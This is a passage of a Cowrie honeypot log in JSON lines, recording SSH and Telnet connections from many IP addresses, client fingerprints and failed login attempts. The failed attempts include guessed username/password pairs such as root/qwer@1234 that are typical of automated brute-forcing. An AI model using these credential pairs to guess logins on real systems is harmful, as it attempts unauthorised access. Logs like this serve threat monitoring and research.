a2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.361336Z","src_ip":"41.181.156.205","session":"ac3afefc11e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mexal","password":"mexal","message":"login attempt [mexal/mexal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:09.455305Z","src_ip":"36.91.81.195","session":"ee6627086c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:09.464745Z","src_ip":"41.181.156.205","session":"ac3afefc11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:10.714970Z","src_ip":"41.181.156.205","session":"ac3afefc11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:10.727454Z","src_ip":"36.91.81.195","session":"ee6627086c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45442,"dst_ip":"10.17.0.5","dst_port":22,"session":"efdd718d6532","protocol":"ssh","message":"New connection: 89.144.214.214:45442 (10.17.0.5:22) [session: efdd718d6532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:25.108599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:25.122895Z","src_ip":"89.144.214.214","session":"efdd718d6532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:25.251661Z","src_ip":"89.144.214.214","session":"efdd718d6532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epro","password":"epro","message":"login attempt [epro/epro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:25.773803Z","src_ip":"89.144.214.214","session":"efdd718d6532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:26.913767Z","src_ip":"89.144.214.214","session":"efdd718d6532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.102.170.138","src_port":44402,"dst_ip":"10.17.0.5","dst_port":23,"session":"831945cd611f","protocol":"telnet","message":"New connection: 112.102.170.138:44402 (10.17.0.5:23) [session: 831945cd611f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:37.489025Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":48216,"dst_ip":"10.17.0.5","dst_port":22,"session":"47edf48b52a3","protocol":"ssh","message":"New connection: 4.227.177.11:48216 (10.17.0.5:22) [session: 47edf48b52a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.198805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.203617Z","src_ip":"4.227.177.11","session":"47edf48b52a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.223319Z","src_ip":"4.227.177.11","session":"47edf48b52a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.298649Z","src_ip":"4.227.177.11","session":"47edf48b52a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":40652,"dst_ip":"10.17.0.5","dst_port":22,"session":"454ea1e2e229","protocol":"ssh","message":"New connection: 46.253.45.10:40652 (10.17.0.5:22) [session: 454ea1e2e229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.658569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.663549Z","src_ip":"46.253.45.10","session":"454ea1e2e229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:40.788232Z","src_ip":"46.253.45.10","session":"454ea1e2e229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:41.312230Z","src_ip":"4.227.177.11","session":"47edf48b52a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123!@#","message":"login attempt [test/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:41.317802Z","src_ip":"46.253.45.10","session":"454ea1e2e229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:42.446331Z","src_ip":"46.253.45.10","session":"454ea1e2e229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":42388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8dfaf344ef8","protocol":"ssh","message":"New connection: 165.154.5.173:42388 (10.17.0.5:22) [session: d8dfaf344ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:42.787012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:42.791529Z","src_ip":"165.154.5.173","session":"d8dfaf344ef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:43.001720Z","src_ip":"165.154.5.173","session":"d8dfaf344ef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@1234","message":"login attempt [root/qwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:43.861668Z","src_ip":"165.154.5.173","session":"d8dfaf344ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:45.072688Z","src_ip":"165.154.5.173","session":"d8dfaf344ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.3107008934021,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:49.799577Z","src_ip":"112.102.170.138","session":"831945cd611f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":53742,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4d3333a74d2","protocol":"ssh","message":"New connection: 176.147.144.172:53742 (159.203.135.109:22) [session: f4d3333a74d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.181829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.186243Z","src_ip":"176.147.144.172","session":"f4d3333a74d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37440,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c78b5fa382","protocol":"ssh","message":"New connection: 103.15.222.183:37440 (10.17.0.5:22) [session: c5c78b5fa382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.269339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.274841Z","src_ip":"103.15.222.183","session":"c5c78b5fa382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.283857Z","src_ip":"176.147.144.172","session":"f4d3333a74d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.516316Z","src_ip":"103.15.222.183","session":"c5c78b5fa382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:51.698768Z","src_ip":"176.147.144.172","session":"f4d3333a74d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:52.241014Z","src_ip":"103.15.222.183","session":"c5c78b5fa382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:52.798964Z","src_ip":"176.147.144.172","session":"f4d3333a74d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:53.483992Z","src_ip":"103.15.222.183","session":"c5c78b5fa382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60516,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7c4b37c7711","protocol":"ssh","message":"New connection: 137.184.228.138:60516 (159.203.135.109:22) [session: d7c4b37c7711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:59.800276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:59.805973Z","src_ip":"137.184.228.138","session":"d7c4b37c7711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:59.885984Z","src_ip":"137.184.228.138","session":"d7c4b37c7711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sky","password":"1234","message":"login attempt [sky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:00.243795Z","src_ip":"137.184.228.138","session":"d7c4b37c7711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:01.335405Z","src_ip":"137.184.228.138","session":"d7c4b37c7711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":55310,"dst_ip":"10.17.0.5","dst_port":22,"session":"867d73d9d3b1","protocol":"ssh","message":"New connection: 43.156.170.155:55310 (10.17.0.5:22) [session: 867d73d9d3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:32.369996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:32.378595Z","src_ip":"43.156.170.155","session":"867d73d9d3b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:36:32.624379Z","src_ip":"43.156.170.155","session":"867d73d9d3b1","protocol":"ssh"}
